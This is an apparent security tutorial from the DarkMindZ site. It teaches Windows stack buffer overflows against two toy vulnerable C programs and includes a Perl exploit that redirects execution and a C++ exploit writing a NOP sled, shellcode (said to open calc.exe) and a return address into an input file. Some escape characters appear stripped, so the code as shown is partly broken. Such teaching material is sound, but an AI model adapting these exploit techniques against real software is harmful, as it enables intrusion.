DarkMindZ Articles
Buffer Overflow Tutorial Part 1 + Part 2
|
PART 1
Tutorial Description
This tutorial will show you how to buffer overflow programs in order to change the flow of the
application , even if this means executing your own code. This is the part one where i show you
how to change the flow of the program ( not execute your own code ), plus i give you all the
code and the compiled ones ( in case you don't have a compiler ) and a video
demonstration/tutorial
Who should read this
Anyone who is interested in computers should read this. Tutorials about security are not meant for
hackers.. their actually meant for the programmers ( and anyone else who likes computers ) so
when they create a program they will know what to do in order to avoid stuff like buffer
overflows , SQL (or anything else ) injections , XSS, Remote file inclusions etc...
A programmer that actually knows this stuff can create a FAR more secure and stable application
than the ones that don't and i find it very stupid for some programmer saying that he doesn't need
to know this.
What is a buffer overflow?
Buffer overflow is when you try to put data into an array.. but the data are more than the array
size. The problem occurs when you don't properly check the bounds of the array. So when you
write data in the array it comes a time that the array ends... but you keep writing data in the
memory next to the array, thus overwriting anything else that was there before.
Why can someone exploit a buffer overflow problem ?
When overwrite the memory data that are out of the array you can overwrite critical for the
application information, like the EIP. EIP (Instruction Pointer) holds the return address so when
the function ends, it while find a ret instruction which will put the program counter at the value
in which EIP is holding. So i you can change that value you can change the program flow and
make it execute something else.
For this tutorial you will need :
- OllyDbg : A great debugger
- Bloodshed Dev-C++ : A C/C++ Compiler
- Perl : i wrote the exploit with Perl
- Time , patience , brain and the will to learn
Ok, let's start...
A Buffer overflow occurs when you try to write data into an array which is smaller than the amount of data you are trying to
write into, thus overwriting what is after the buffer in the memory.
I will not explain here how the memory structure is when a program/function is executed.
I will just show you how to exploit it :o)
_________________________________________________________________________________________________________________
Let's see a vulnerable program ( vuln.c )
#include <stdio.h>
int OverflowMe(char *str){
char buffer[10]; //our buffer
strcpy(buffer,str);//the vulnerable command
return 0;
}
int main(intargc, char *argv[])
{
int pass=0;
printf("You are in vuln.exe now
");
OverflowMe(argv[1]); //call the function and pass user input
if ( pass = = 1) {
GoodPass(); //this should never happen
} else {
printf("Lozer!!!
");
}
printf("Quitting vuln.exe
");
return 0;
}
int GoodPass(){
printf("******* You are IN! *******
");
printf("******* This is GoodPass() executing *******
");
}
_________________________________________________________________________________________________________________
The program above has a problem when strcpy(buffer,str) will be executed with the length
of the str more than 10 ( array size )
What i am going to show you in this tutorial is how to change the flow of the program and execute the GoodPass() function
which normally should never get executed....
Don't forget to see the Video Demonstration to understand it better...
First we try to crash the program in order to confirm that the buffer overflow does exist.
To do that we run the vuln.exe and give it for arguments a long string like this : ( 60 A's )
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This is what we get :
/buffer%20overflow%20part1/imgs/crash1.jpg)
Now the new return address is 41414141 ... which is A ( A is number 65 in ascii and number 65 is 41 in hex)
So what we did is to change the return address to 41414141 which doesn't exist so windows gives as an error.
What we need to do now is to change that address and make it point to our GoodPass ( ) function that we want to execute.
First we must find the function's address... to do that we use OllyDbg... ( see video demonstration how to do it )
/buffer%20overflow%20part1/imgs/olly.jpg)
So we want to force the program to execute 00401302 address which is the call to the GoodPass ( ) function
First we have to fix that address... we must write it in an Little Endian format...
So 00 40 13 02 becomes 02 13 40 00
Ok we have the target address for the new EIP... now we need to find how many bytes are from the start
of the buffer until the actual EIP
To do that we must create a long string with random characters... try not repeating a sequence in the characters so the
four characters you will get when the program crashes will be a unique sequence in the string so you can find the easily...
From experience a good way to create a string is using hash algorithms..
I have an online tool that can calculate the hash results for a string using several algorithms..
click here to go to the Online Hash Calculator page
I made this string :
CE6BE5DF0409E4A15BBE3E37FF5B309A54B0C58C7CE9F2A8B551351102EE0938FA26BE19DE6BFF93FBDA
So what we need to do now is to run the vuln.exe using the above string as argument
/buffer%20overflow%20part1/imgs/crash2.jpg)
Ok we got 41393033 as the new EIP... now we must first fix it ( now it's in Little Endian format )
So 41 39 30 33 .. becomes 33 30 39 41
Now we find what is the ascii character that each hex number represents
To do this you can go to my ASCII - HEX - Unicode Online Converter Tool and put in the hex field the
above numbers with a % in front of each one of them... like this %33%30%39%41 and click 'Decode Hex to Ascii'
So 33 30 39 41 is the string '309A' in ascii... now we search for that string in the big string we put for arguments before...
CE6BE5DF0409E4A15BBE3E37FF5B309A54B0C58C7CE9F2A8B551351102EE0938FA26BE19DE6BFF93FBDA
ok now we will not need anything after the 309A so we discard it.. and the string becomes
CE6BE5DF0409E4A15BBE3E37FF5B309A
|<---------- 28 bytes ----------------->|
In the string above.. if is put for arguments for the vuln.exe program will overwrite the buffer and replace the EIP with the value
that is found after the first 28 bytes...
so what we must do is to sent for arguments a 28 bytes length junk data and 4 bytes of evil EIP address...
And now we write the exploit...
I wrote the exploit in Perl.. to run it you need to have the Perl interpreter installed... you can find it in the links i gave you
at the start of the page
_________________________________________________________________________________________________________________
Here is the code of the exploit ( exploit.pl )
#!/usr/bin/perl
my $junkdata="x41"x28;# create the 28 byte length junk data
my $ret="x02x13x40x00";# our evil EIP goes here
my $exploit=$junkdata.$ret;# merge them into one evil string
print "Sending exploit....
";
system("vuln.exe", $exploit); # execute vuln.exe with the evil argument string
print "
Done!
";
_________________________________________________________________________________________________________________
So we run the exploit code and the result :
/buffer%20overflow%20part1/imgs/success.jpg)
Program flow successfully changes and GoodPass( ) gets executed.
I recommend that you see the Video demonstration so you can get a better idea how to do the tutorial above...
VIDEO PART 1
PART 2
_________________________________________________________________________________________________________________
Let's see a vulnerable program ( vuln.c )
#include <stdio.h>
#include <string.h>
int ReadaFile(char*,char*,int);
int VulnFunction(char *cptr){
//create a local buffer
char LocalBuffer[300] = "File Data : ";
//copy buffer to local buffer - this is the vulnerable command
strcpy(LocalBuffer+12,cptr);
//print local buffer
printf("%s
",LocalBuffer);
return 0;
}
int main(){
char buf[1000];
char FileName[] = "My_Input_File.txt";
//Read a file ( My_Input_File.txt )
ReadaFile(buf,FileName,1000);
//pass the buffer to the vulnerable function
VulnFunction(buf);
system("Pause");
return 0;
}
//the function bellow is to read the file and write it in the buffer
int ReadaFile(char *buffer,char *Fname,int Limit){
int c;
int n=0;
FILE *f;
f = fopen(Fname,"r");
while((c=getc(f))!=EOF)
{
if (n<Limit){
buffer[n++] = c;
}
}
buffer[n++] = 0;
fclose(f);
return 0;
}
_________________________________________________________________________________________________________________
The program above has a problem when strcpy(LocalBuffer+12,cptr)will be executed with the length
of the cptr more than 300 ( array size )
What I am going to show you in this tutorial is how to change the flow of the program and execute you OWN shellcode, thus
allowing you to do whatever the program had access to do.
Don't forget to see the Video Demonstration to understand it better...
First we try to crash the program in order to confirm that the buffer overflow does exist.
To do that we run the vuln.exe and put it then filename a lot of A's
AAAAAAAAAAAA .... 500 A's
This is what we get :
/buffer%20overflow%20part2/images/vulnCrash.jpg)
Now the new return address is 41414141 ... which is A ( A is number 65 in ascii and number 65 is 41 in hex)
So what we did is to change the return address to 41414141 which doesn't exist so windows gives as an error.
What we need to do now is to change that address and make it point to our shellcode.. but first...
Ok we need to find how many bytes are from the start of the buffer until the actual EIP
To do that we must create a long string with random characters... try not repeating a sequence in the characters so the
four characters you will get when the program crashes will be a unique sequence in the string so you can find the easily...
From experience a good way to create a string is using hash algorithms..
I have an online tool that can calculate the hash results for a string using several algorithms..
click here to go to the Online Hash Calculator page
I made this string :
F79E002AC163078C673FA2C321E5E66F5A105E8B9D40E1329780D62EA2265D8AB444AC06613FC8D63
795BE9AD0BEAF55011936AC812A635DAA90E1F2D19541156FEE9DF8AD0234829205B9033196BA818F
7A872B109F4B3C50D7B0DF729D299BC6F8E9EF9066971FCD23914BE346F8D20DA217890915809C8AD
8757BAA8564DC136C1E07507F4A983EBFA301DC59196F18593C45E519287A23297589221E3030CAE47
D097FC191F5ADF01AA4
the above string is 344 characters
So what we need to do now is to write the above string in the file and run the vuln.exe
/buffer%20overflow%20part2/images/vulnCrash2.jpg)
Ok we got 39323332 as the new EIP... now we must first fix it ( now it's in Little Endian format )
So 39 32 33 32 .. becomes 32 33 32 39
Now we find what is the ascii character that each hex number represents
To do this you can go to my ASCII - HEX - Unicode Online Converter Tool and put in the hex field the
above numbers with a % in front of each one of them... like this %32%33%32%39 and click 'Decode Hex to Ascii'
So 32 33 32 39 is the string '2329' in ascii... now we search for that string in the big string we put for arguments before...
F79E002AC163078C673FA2C321E5E66F5A105E8B9D40E1329780D62EA2265D8AB444AC06613FC8D63
795BE9AD0BEAF55011936AC812A635DAA90E1F2D19541156FEE9DF8AD0234829205B9033196BA818F
7A872B109F4B3C50D7B0DF729D299BC6F8E9EF9066971FCD23914BE346F8D20DA217890915809C8AD
8757BAA8564DC136C1E07507F4A983EBFA301DC59196F18593C45E519287A23297589221E3030CAE47
D097FC191F5ADF01AA4
ok now we will not need anything after the '2329' so we discard it.. and the string becomes
F79E002AC163078C673FA2C321E5E66F5A105E8B9D40E1329780D62EA2265D8AB444AC06613FC8D63
795BE9AD0BEAF55011936AC812A635DAA90E1F2D19541156FEE9DF8AD0234829205B9033196BA818F
7A872B109F4B3C50D7B0DF729D299BC6F8E9EF9066971FCD23914BE346F8D20DA217890915809C8AD
8757BAA8564DC136C1E07507F4A983EBFA301DC59196F18593C45E519287A2329
|<-------------------------------------- 304 bytes ---------------------------------->|<-- 2329--->|
In the string above.. if is put in the file for the vuln.exe program, it will overwrite the buffer and replace
the EIP with the valuethat is found after the first 304 bytes...
so now we now we have 304 bytes of maximum size for our shellcode...
now we must create a program that can generate a file that when read by vuln.exe will cause our shellcode to be executed
the shell code i chose will run calc.exe when executed.. you can find it from metaploit site...
see the video tutorial for more information and how to generate your own shellcode...
After you have your shellcode you must calculate how much space is not used by the shellcode and fill it with Nop's.
NOP is an instruction that does absolutely nothing, so you can reroute the program flow to where the nops are in
memory.. and they will get executed ( so nothing will happen ) until the shellcode that will be right after them get's executed.
the reason for doing this is that you can't put anything else there unless you are 100% certain that you can hit the exact first
byte of the shellcode (by changing EIP ) .. this might be hard to do something with dynamic memory allocation and the
memory moves around... so if you get to hit one of the NOP's in the buffer it will be ok.. also it's easier to find the NOPs
in memory... you will understand why when you see the video tutorial...
Now you debug the vuln.exe using OllyDbg and try to find where those NOP are... and get that address and use it in the
exploit code as the new EIP...
(Video Tutorial for how to do that )
And now we write the exploit...
I wrote the exploit in C++...
_________________________________________________________________________________________________________________
Here is the code of the exploit ( exploit.cpp )
#include <iostream>
#include <fstream>
using namespace std;
int main(){
//our shellcode ... which runs calc.exe
unsigned char scode[] = "x31xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13xf5"
"x3ax5dx2fx83xebxfcxe2xf4x09xd2x19x2fxf5x3axd6x6a"
"xc9xb1x21x2ax8dx3bxb2xa4xbax22xd6x70xd5x3bxb6x66"
"x7ex0exd6x2ex1bx0bx9dxb6x59xbex9dx5bxf2xfbx97x22"
"xf4xf8xb6xdbxcex6ex79x2bx80xdfxd6x70xd1x3bxb6x49"
"x7ex36x16xa4xaax26x5cxc4x7ex26xd6x2ex1exb3x01x0b"
"xf1xf9x6cxefx91xb1x1dx1fx70xfax25x23x7ex7ax51xa4"
"x85x26xf0xa4x9dx32xb6x26x7exbaxedx2fxf5x3axd6x47"
"xc9x65x6cxd9x95x6cxd4xd7x76xfax26x7fx9dxcaxd7x2b"
"xaax52xc5xd1x7fx34x0axd0x12x59x3cx43x96x14x38x57"
"x90x3ax5dx2f";
//nops to fill the buffer
char Nops[] = "x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90";
//the address where sheelcode is in memory
char EvilEIP[] = "xB0xFBx23x00";
cout << "Building Exploit....";
ofstream myFile;
myFile.open("My_Input_File.txt");//open file
myFile << Nops << scode << EvilEIP; //write evil strings
myFile.close();//close file
cout << "Finished!
";
return 0;
}
_________________________________________________________________________________________________________________
So we run the exploit code and the result :
/buffer%20overflow%20part2/images/success.jpg)
Program flow successfully changes , our shellcode gets executed and calculator pops up !!!
I recommend that you see the Video demonstration so you can get a better idea how to do the tutorial above...
VIDEO PART 2
|
| Submitted by: mz
|
|
Share it:
User: z3ro
Comment: Very well written. I liked it even though this topic has been covered 57824357245828547824872785248745784578 times
User: SwartMumba
Comment: Well, it was a helpful tutorial. Good job VirusFree. If anyone wants working code for vuln.c in part 1, check out http://www.darkmindz.com/forum/view.dmz?id=2522.